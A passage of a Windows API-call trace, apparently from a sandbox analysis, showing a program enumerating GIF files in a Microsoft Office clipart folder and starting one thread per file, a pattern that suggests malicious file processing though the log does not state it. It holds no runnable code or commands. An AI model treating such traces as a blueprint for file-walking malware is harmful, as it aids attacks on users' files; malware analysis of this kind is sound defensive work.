	[0257.795] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0257.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0257.966] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.966] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1
	[0257.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2990
	[0257.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.969] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1
	[0257.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2994
	[0257.970] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.971] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1
	[0257.971] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2998
	[0257.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.973] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1
	[0257.973] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x299c
	[0257.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.975] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1
	[0257.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29a0
	[0257.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.978] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1
	[0257.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29a4
	[0257.980] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.980] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1
	[0257.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29a8
	[0257.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1
	[0257.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29ac
	[0257.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.984] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1
	[0257.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29b0
	[0257.985] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.986] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1
	[0257.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29b4
	[0257.988] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.988] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x86, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1
	[0257.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29b8
	[0257.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.990] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1
	[0257.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29bc
	[0257.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.991] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1
	[0257.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c0
	[0257.993] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.993] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1
	[0257.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c4
	[0257.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.995] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1
	[0257.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0257.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c8
	[0258.413] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.413] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1
	[0258.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29cc
	[0258.416] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.416] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1
	[0258.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29d0
	[0258.418] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.418] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1
	[0258.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29d4
	[0258.420] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.420] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1
	[0258.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29d8
	[0258.422] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.422] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1
	[0258.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29dc
	[0258.425] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.425] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1
	[0258.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29e0
	[0258.427] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.428] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1
	[0258.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29e4
	[0258.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.430] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1
	[0258.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29e8
	[0258.431] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.432] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1
	[0258.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29ec
	[0258.433] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.434] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1
	[0258.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29f0
	[0258.436] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.436] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1
